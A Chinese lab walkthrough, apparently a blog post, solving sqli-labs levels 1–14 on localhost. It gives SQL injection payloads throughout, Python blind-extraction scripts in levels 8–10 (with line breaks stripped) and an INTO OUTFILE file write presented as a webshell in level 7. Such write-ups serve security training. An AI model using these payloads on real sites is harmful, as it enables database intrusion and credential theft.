sql注入复现(1-14关)
目录
第一关(字符型注入)
第二关(数字型注入)
第三关(闭合方式不同)
第四关(用双引号闭合)
第五关(不会数据回显)
第六关(闭合方式不同双引号 ”)
第7关(outfile注入)
第八关(布尔盲注)
第九关(时间盲注)
第十关(闭合方式不同)
第十一关(post注入)
第十二关(闭合方式不同双引号)
第十三关(报错注入)
第十四关(双引号)
第一关(字符型注入)
判断注入是否存在
http://127.0.0.1/sqllabs/Less-1/?id=1

判断sql语句是否拼接
http://127.0.0.1/sqllabs/Less-1/?id=1'http://127.0.0.1/sqllabs/Less-1/?id=1'--+


可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。
联合注入
爆列
首先知道表格有几列,如果报错就是超出列数,显示正常则是没有超出列数(使用二分法,先查看一个大的数值,显示正常,则翻倍,报错则缩小一半数值)
http://127.0.0.1/sqllabs/Less-1/?id=1' order by 5--+
http://127.0.0.1/sqllabs/Less-1/?id=1' order by 3--+
http://127.0.0.1/sqllabs/Less-1/?id=1' order by 4--+



爆显示位
由于我们已经知道了这个表有三列,所以我们使用联合查询来爆出显示位
http://127.0.0.1/sqllabs/Less-1/?id=1' union select 1,2,3--+
http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,3--+

由于只能查看一组数据,所以我们需要修改id值,让他要么远超这个数据表,要么小于0

爆数据库名和版本号
我们知道了回显的列数是第二列和第三列,所以我们可以直接爆出数据库名和版本号
http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,database(),version()--+
爆表
http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
information_schema.tables表示该数据库下的tables表,group_concat() 是将查询结果连接起来(显示出一行数据),如果不用group_concat()查询到的结果只有user。

爆字段名
我们通过sql语句查询后的结果知道当前数据库有四个表,根据表名猜测账户和密码可能在users表中
http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name内。

由查询到的结果,猜测username和password是账户名和密码
获取用户名和密码
http://127.0.0.1/sqllabs/Less-1/?id=-1' union select 1,2,group_concat(username ,0x3a , password) from users--+

第二关(数字型注入)
判断是否有注入问题
输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,就是,把第一题中id=1后面的单引号去掉
http://127.0.0.1/sqllabs/Less-2/?id=1'
http://127.0.0.1/sqllabs/Less-2/?id=1'--+
http://127.0.0.1/sqllabs/Less-2/?id=1
http://127.0.0.1/sqllabs/Less-2/?id=1--+
联合注入
爆列(和第一关一样的思想)
http://127.0.0.1/sqllabs/Less-3/?id=1' order by 5--+
http://127.0.0.1/sqllabs/Less-3/?id=1' order by 3--+
http://127.0.0.1/sqllabs/Less-3/?id=1' order by 4--+
爆数据库名和版本号
http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,database(),version()--+
爆表
http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
爆字段名
http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取用户名和密码
http://127.0.0.1/sqllabs/Less-2/?id=-1 union select 1,2,group_concat(username ,0x3a , password) from users--+
第三关(闭合方式不同)
http://127.0.0.1/sqllabs/Less-3/?id=1'
http://127.0.0.1/sqllabs/Less-3/?id=1'--+
http://127.0.0.1/sqllabs/Less-3/?id=1')
http://127.0.0.1/sqllabs/Less-3/?id=1')--+
输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=( ‘1’) …,在第一题中id=1’的后面单引号加上),其它保持不变就行了。
联合注入
http://127.0.0.1/sqllabs/Less-3/?id=1'
http://127.0.0.1/sqllabs/Less-3/?id=1'--+
http://127.0.0.1/sqllabs/Less-3/?id=1')
http://127.0.0.1/sqllabs/Less-3/?id=1')--+
闭合方式改成()
包数据库和version
http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,database(),version()--+
爆表
http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+

爆字段
http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取用户名和密码
http://127.0.0.1/sqllabs/Less-3/?id=-1') union select 1,2,group_concat(username ,0x3a , password) from users--+
第四关(用双引号闭合)
然后跟前几关一样
http://127.0.0.1/sqllabs/Less-3/?id=-1") union select 1,2,group_concat(username ,0x3a , password) from users--+
第五关(不会数据回显)
不显示只有对错页面显示我们可以选择布尔盲注,报错注入。布尔盲注主要用length(),ascii() ,substr()这三个函数,但是我这一关不打算用布尔盲注。报错注入主要使用updatexml()、extractvalue()、floor()三个函数。
http://127.0.0.1/sqllabs/Less-5/?id=1'
http://127.0.0.1/sqllabs/Less-5/?id=1'--+

这一关我使用updatetexml注入
爆数据库名和版本号
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat('~',(select version()),'~'),1)--+

爆表
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

爆字段名
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)--+

获取用户名和密码
updatetexml 一次性只能显示32个数据,所以我们需要截取
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

extractvalue()注入
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select version()),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e))--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e))--+
floor()注入
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqllabs/Less-5/?id=1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
第六关(闭合方式不同双引号 ”)
第7关(outfile注入)
需要知道对方文件在哪 才可以利用 (比较鸡肋)
通常面试会这样问
mysql 怎么上传一个shell 导出一个shell
1、必须有权限
2、secure_file-priv 必须为空值(不是null)
3、对方网站的文件物理地址

http://127.0.0.1/sqllabs/less-7/?id=-1%27))%20union%20select%201,user(),%27%3C?php%20phpinfo();?%3E%27%20into%20outfile%20%22F:\\phpstudy_pro\\WWW\\sqllabs\\webshell.php%22--+


第八关(布尔盲注)
你会发现,输入什么都不会显示报错,只会有一个you are in…… 所以我们得想到什么形式会显示一真一假 布尔类型
写python爬虫,让他自己去爆
爆数据库名
import requests#第8关
def inject_database(url):name = ''for i in range(1, 20):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:payload = "?id=1' and ascii(substr(database(),%d,1))> %d--+" % (i, mid)r = requests.get(url + payload)if "You are in..........." in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-8/'inject_database(url)
结果
爆表
import requests#第8关
def inject_database(url):name = ''for i in range(1, 32):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:payload = "?id=1' and ascii(substr(concat((select group_concat(table_name)from information_schema.tables where table_schema='security')),%d,1))> %d--+" % (i, mid)r = requests.get(url + payload)if "You are in..........." in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-8/'inject_database(url)
结果
爆字段名
import requests#第8关
def inject_database(url):name = ''for i in range(1, 32):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:payload = "?id=1' and ascii(substr(concat((select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users')),%d,1))> %d--+" % (i, mid)r = requests.get(url + payload)if "You are in..........." in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-8/'inject_database(url)

获取用户名和密码
import requests#第8关
def inject_database(url):name = ''for i in range(1, 1000):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:payload = "?id=1' and ascii(substr(concat((select group_concat(username ,0x3a , password) from users)),%d,1))> %d--+" % (i, mid)r = requests.get(url + payload)if "You are in..........." in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-8/'inject_database(url)
第九关(时间盲注)
这一关输入的sql语句无论对错,都只会显示You are in...........,因此,我们判断这一关需要时间盲注来进行闯关。(让浏览器沉睡)
继续写python爬虫
前边都跟第八关差不多 我只写了最终结果
import requests
import timedef inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "?id=1' and if(ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d, sleep(3), 0)--+" % (i, mid)start_time = time.time()r = requests.get(url + payload)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-9/'inject_database(url)
第十关(闭合方式不同)
双引号闭合

def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = '?id=1" and if(ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d, sleep(1), 0)--+' % (i, mid)start_time = time.time()r = requests.get(url + payload)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-10/'inject_database(url)
————————————————版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。原文链接:https://blog.csdn.net/huizhaohaha/article/details/138783298
第十一关(post注入)
查看页面

我们发现username 是注入点
百变不离其尊(跟get传参差不多)
我们发现联合查询注入是可行的,接下来就是该爆数据库、表、字段和用户账号密码
aaa' union select 1,database()#
aaa' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa' union select 1,group_concat(username ,0x3a , password) from users#
第十二关(闭合方式不同双引号)
aaa") union select 1,database()#
aaa") union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa") union select 1,group_concat(username ,0x3a , password) from users#

第十三关(报错注入)
aaa') and updatexml(1,user(),1)#
aaa') and updatexml(1,concat('~',(select database()),'~'),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
由于只能显示一个字段,所以我们使用limit进行逐个输出
第十四关(双引号)
闭合方式不同
aaa" and updatexml(1,user(),1)#
aaa" and updatexml(1,concat('~',(select database()),'~'),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
相关文章:
sql注入复现(1-14关)
目录 第一关(字符型注入) 第二关(数字型注入) 第三关(闭合方式不同) 第四关(用双引号闭合) 第五关(不会数据回显) 第六关(闭合方式不同双引…...
Spring Boot-12
JavaConfig 是一种通过 Java 代码来配置 Spring 应用程序的方式,取代了传统的 XML 配置文件。这 什么是 JavaConfig JavaConfig 是 Spring Framework 的一部分,它允许你使用纯 Java 代码来定义 Spring Beans 和配置应用程序,而不需要 XML 配…...
【Linux】进程详解
1、定义 使用编译器将代码编译成的可执行文件称为程序,程序存储在磁盘上; 将程序从磁盘装载到内存中,并通过指令调用、各级缓存、寄存器运行起来的实例,称为进程; 一个程序可以同时运行多个进程;每个进程具有自己的内存空间、寄存器和文件描述符等资源。 进程ID:…...
python的多线程
python的threading模块,它提供了丰富的接口来创建和管理线程。 定义一个函数print_numbers,这个函数将由线程执行。在这个函数中,我们使用一个循环来打印数字,并使用time.sleep(1)来模拟每个数字打印之间有1秒的延迟。 在 if __…...
在Kylin服务器安装PostgreSQL16数据库
1、下载PostgreSQL16安装包 下载地址https://www.postgresql.org/ftp/source/v16.3/ 2、安装依赖和ICU库 查看服务器版本 yum install -y perl-ExtUtils-Embed readline-devel zlib-devel pam-devel libxml2-devel libxslt-devel openldap-devel python-devel gcc-c opens…...
【第15章】Spring Cloud之Gateway网关过滤器(URL黑名单)
文章目录 前言一、常用网关过滤器1. 常用过滤器2. 示例3. Default Filters 二、定义接口服务1. 定义接口 三、自定义过滤器1. 过滤器类2. 应用配置 四、单元测试1. 正常2. 黑名单 总结 前言 上一章我们通过,路由断言根据请求IP地址的黑名单功能,作用范围…...
pytorch和deep learning技巧和bug解决方法短篇收集
有一些几句话就可以说明白的观点或者解决的的问题,小虎单独收集到这里。 torch.hub.load how does it work 下载预训练模型再载入,用程序下载链接可能失效。 model torch.hub.load(ultralytics/yolov5, yolov5s)model torch.hub.load(ultralytics/y…...
【socket编程】UDP网络通信 {简单的服务器echo程序;简单的远程控制程序;简单的网络聊天室程序}
今天我们通过以下的几个surver/client模型了解一下UDP网络通信 一、简单的服务器echo程序 以下部分内容转载自「网络编程」简单UDP网络通信程序的实现_socket udp-CSDN博客 1.1 服务端 首先明确,这个简单的UDP网络程序分客户端…...
大数据存储解决方案:HDFS与NoSQL数据库详解
大数据存储解决方案:HDFS与NoSQL数据库详解 大数据存储解决方案在现代数据处理和分析中扮演着至关重要的角色。随着数据量的迅猛增长,传统的存储方式已经无法满足需求。HDFS(Hadoop分布式文件系统)和NoSQL数据库是当前最常用的两…...
如何用 ChatGPT 提升学术写作:15 个高效提示
在本文,我们详细探讨了如何利用 ChatGPT 提升学术写作的各个方面。我们帮助学术作者通过生成创意点子、构建论证结构、克服写作障碍以及格式化引用,从而显著提升其学术论文的质量。这 15 条提示不仅可以单独使用,还可作为学习的良好范例。 本…...
【算法】贪心算法
应用场景——集合覆盖问题 假设存在下面需要付费的广播台,以及广播台信号可以覆盖的地区。如何选择最少的广播台,让所有的地区都可以接收到信号 贪心算法介绍 1.贪心算法是指在对问题进行求解时,在每一步选择中都采取最好或者最优的选择 2…...
常见中间件漏洞复现之【Jboss】!
Jboss介绍 JBoss是⼀个基于J2EE的开发源代码的应⽤服务器。JBoss代码遵循LGPL许可,可以在任何商业应⽤中免费使⽤。JBoss是⼀个管理EJB的容器和服务器,⽀持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核⼼服务不包括⽀持servlet/JSP的WEB容器,⼀般…...
Java常用中间件(后续更新)
常用Java中间件总结 目录 引言什么是中间件常见的Java中间件 1. 消息队列中间件 1.1 RabbitMQ1.2 Apache Kafka 2. 数据库中间件 2.1 MySQL Proxy2.2 Hibernate 3. 服务治理中间件 3.1 Spring Cloud3.2 Dubbo 4. 缓存中间件 4.1 Redis4.2 Ehcache 总结 引言 在现代软件开发…...
网站或者网页Cookie 启用说明
背景说明 有时候登录网站的时候,某些网站的主页会弹出‘Cookie启用’的提示,比较好奇,于是就特别去查询相关资料研究了一下,以下是一个网页demo提示: 说明 Cookie 是一种在 Web 开发中广泛使用的机制…...
Java 抽象知识笔记总结(油管)
Java系列文章目录 Java Optional 容器笔记总结 文章目录 Java系列文章目录一、前言二、学习内容:三、问题描述四、解决方案:4.1 抽象类的使用4.2 抽象类与接口的区别4.2.1 接口复习4.2.2 具体区别4.2.3 使用场景4.2.3.1 抽象类使用场景4.2.3.2 接口使用…...
鲜花销售小程序的设计
管理员账户功能包括:系统首页,个人中心,用户管理,农户管理,产品分类管理,农产品管理,咨询信息管理,咨询回复管理,系统管理 微信端账号功能包括:系统首页&…...
Golang | Leetcode Golang题解之第324题摆动排序II
题目: 题解: func wiggleSort(nums []int) {n : len(nums)x : (n 1) / 2target : quickSelect(nums, x-1)transAddress : func(i int) int { return (2*n - 2*i - 1) % (n | 1) }for k, i, j : 0, 0, n-1; k < j; k {tk : transAddress(k)if nums[t…...
32、Python之面向对象:对象的表示,再论Python是dict包括语法糖
引言 在前面介绍Python容器的时候,我们曾经用过这种夸张的表述,“Python就是包裹在一堆语法糖中的字典”。虽然夸张,其实更多的是为了突出Python中dict的强大之处。今天这篇文章,打算看下Python中类对象、实例对象的表示及内存管理…...
高级java每日一道面试题-2024年8月07日-网络篇-你对TCP的三次握手了解多少?
如果有遗漏,评论区告诉我进行补充 面试官: 你对TCP的三次握手了解多少? 我回答: TCP(Transmission Control Protocol)的三次握手是TCP建立连接的过程,它是TCP/IP协议族中一个关键的概念。三次握手确保了双方之间的连接是双向的࿰…...
vite.config.ts中proxy的rewrite理解
服务器配置都是在开发情况下适用!! // 服务器配置 server: {//允许IP访问host: "0.0.0.0",//应用端口(默认:3000)port: Number(env.VITE_APP_PORT),// 运行是否自动打开浏览器open: true,// 代理配置proxy:…...
多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
多场景 OkHttpClient 管理器 - Android 网络通信解决方案
下面是一个完整的 Android 实现,展示如何创建和管理多个 OkHttpClient 实例,分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...
基于服务器使用 apt 安装、配置 Nginx
🧾 一、查看可安装的 Nginx 版本 首先,你可以运行以下命令查看可用版本: apt-cache madison nginx-core输出示例: nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility
Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...
376. Wiggle Subsequence
376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...
JS设计模式(4):观察者模式
JS设计模式(4):观察者模式 一、引入 在开发中,我们经常会遇到这样的场景:一个对象的状态变化需要自动通知其他对象,比如: 电商平台中,商品库存变化时需要通知所有订阅该商品的用户;新闻网站中࿰…...
多模态图像修复系统:基于深度学习的图片修复实现
多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...
4. TypeScript 类型推断与类型组合
一、类型推断 (一) 什么是类型推断 TypeScript 的类型推断会根据变量、函数返回值、对象和数组的赋值和使用方式,自动确定它们的类型。 这一特性减少了显式类型注解的需要,在保持类型安全的同时简化了代码。通过分析上下文和初始值,TypeSc…...

